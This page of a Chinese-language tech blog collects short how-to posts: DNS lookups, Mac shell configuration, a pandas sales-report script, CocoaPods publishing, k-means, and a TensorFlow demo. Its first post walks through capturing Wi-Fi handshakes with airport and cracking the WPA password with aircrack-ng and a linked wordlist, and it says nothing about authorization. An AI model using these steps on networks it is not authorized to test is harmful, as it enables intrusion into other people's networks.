发表于 | 分类于 ， | 0 Comments
1、查看网卡名称

在终端输入命令ifconfig查看

2、使用airport监听无线网络
1
2
3
4
5
6
7
8
9
airport en1 scan
# 结果字段注释：
SSID 表示 Wi-Fi 名称
BSSID 表示 Wi-Fi 设备的硬件地址
RSSI 表示信号强度，值是负数，绝对值越小信号越强
CHANNEL 表示 Wi-Fi 信道
HT 表示吞吐量模式，一般都为 Y
CC 表示国家，中国为 CN
SECURITY 表示加密方式
3、使用airport进行抓包
1
2
3
airport en1 sniff 1 # 1省略代表抓取全部
# 一段时间后Ctr+c停止抓包，会生成一个.cap包，看到如下提示
Session saved to /tmp/airportSniff0RjCAO.cap
4、安装aircrack-ng
1
brew install aircrack-ng
5、使用aircrack-ng执行破解，字典资源：https://github.com/conwnet/wpa-dictionary
1
2
3
4
aircrack-ng -w common.txt /tmp/airportSniff0RjCAO.cap
# 会显示一串列表，最后显示下面一句话：
Index number of target network ?
输入列表中成功的列表序号，回车，如果成功会打印出密码信息，如果没找到说明该密码字典不存在，就更换密码字典

发表于 | 分类于 | 0 Comments

1、查看域名对应ip

1
2
ping www.baidu.com
# 在网页端打开开发者模式，在network中查看

2、查看DNS

1
nslookup www.baidu.com

发表于 | 分类于 | 0 Comments

例：设置在中断输入python，默认版本修改为python3

1、查询python3的路径

1
2
which python3 
# /Users/taoegoo/anaconda3/bin/python3

2、打开.bash_profile文件，添加下面语句

1
alias python="/Users/taoegoo/anaconda3/bin/python3"

3、现在只是临时生效，还要执行以下代码才会永久生效

1
source ~/.bash_profile

发表于 | 分类于 | 0 Comments

简介：Mac系统下如何配置环境变量

1、进入home目录

1
cd ~/

2、打开.bash_profile文件，如果没有新建一个

1
2
touch .bash_profile  # 新建
open .bash_profile  #打开

3、然后添加路径，如下

1
export PATH="$HOME/.cargo/bin:$PATH"  # $HOME等价于Users/电脑用户名

4、最后更新配置命令

1
source .bash_profile

发表于 | 分类于 | 0 Comments

数据下载地址：链接:https://pan.baidu.com/s/1iRnn7sLaQl6BxiJBXB6Adg 密码:zuok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pandas as pd
import os


data = pd.read_excel('/Users/taoegoo/Downloads/data.xls')

data['日期'] = [x.split(' ')[0] for x in data['时间']]

# 读取目标城市
target_city = pd.read_excel('/Users/taoegoo/Downloads/目标城市.xlsx')
target_citys = list(target_city['城市'])

data['是否在目标城市存在'] = None
data.loc[data['城市'].isin(target_citys), '是否在目标城市存在'] = 1
data.loc[data['是否在目标城市存在'].isnull(), '是否在目标城市存在'] = 0

writer = pd.ExcelWriter('数据汇总.xlsx')
starts = 0
agency = data['代理商'].unique()

for i in agency:
    data_agency = data[data['代理商'] == i]
    order = data_agency.groupby('日期')['城市'].count()  # 每日总订单量
    sold = data_agency.groupby('日期')['价格(元)'].sum()  # 每日售出金额
    order_target = data_agency[data_agency['是否在目标城市存在'] == 1].groupby('日期')['城市'].count()  # 每日目标城市订单量
    solder_target = data_agency[data_agency['是否在目标城市存在'] == 1].groupby('日期')['价格(元)'].sum()  # 每日目标城市售出金额

    # 整理成表
    table = pd.concat([order, sold, order_target, solder_target], axis=1)
    table = pd.DataFrame(table)
    table.columns = ['总订单量', '总销售价格', '目标城市订单数', '目标城市售出价格']
    # 写入Excel
    title = pd.DataFrame(['代理商：' + i])  # 将代理商名称设置为小标题
    title.to_excel(writer, startrow=starts, index=False, columns=None, header=False)
    table.to_excel(writer, startrow=starts+1)  # 写入对应代理商的数据
    starts = starts + (len(table) + 2) + 3  # 下一个代理商的写入位置

writer.save()

发表于 | 分类于 | 0 Comments
  1. 注册trunk，执行命令：pod trunk register 邮箱地址 ‘用户名’ –description=’描述信息’————–添加其他用户，执行命令：pod trunk add-owner “邮箱地址”
  2. 执行命令：pod lib create MyLibrary——–或创建.podspec,执行命令:pod spec create HZWebViewController
  3. 修改工程下的.podspec文件
  4. 打上标签，上传到github —— 用SourceTree上传
  5. 发布到pod trunk push，执行命令：pod trunk push MyLibrary.podspec 忽略警告后面添加 –allow-warnings
  6. 搜索pod，执行命令：pod search MyLibrary

发表于 | 分类于 | 0 Comments

1、k-means聚类算法简介

k-means算法把数据集分成k个组，使每个组内具有较高的相似度。其处理过程如下：

1、随机选择k个点作为初始的聚类中心

2、对于剩下的点，根据其与聚类中心的距离，将其归入最近的组

3、对每个组，计算所有点的均值作为新的聚类中心

4、重复2、3直到聚类中心不再发生改变

阅读全文 »

发表于 | 分类于 | 0 Comments

Demo：

1
2
3
4
5
6
7
8
9
10
11
12
13
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf

num_points = 1000
vectors_set = []
for i in range(num_points):
    x1 = np.random.normal(0.0, 0.55)
    y1 = x1 * 0.1 + 0.3 + np.random.normal(0.0, 0.03)
    vectors_set.append([x1, y1])

x_data = [v[0] for v in vectors_set]
y_data = [v[1] for v in vectors_set]
阅读全文 »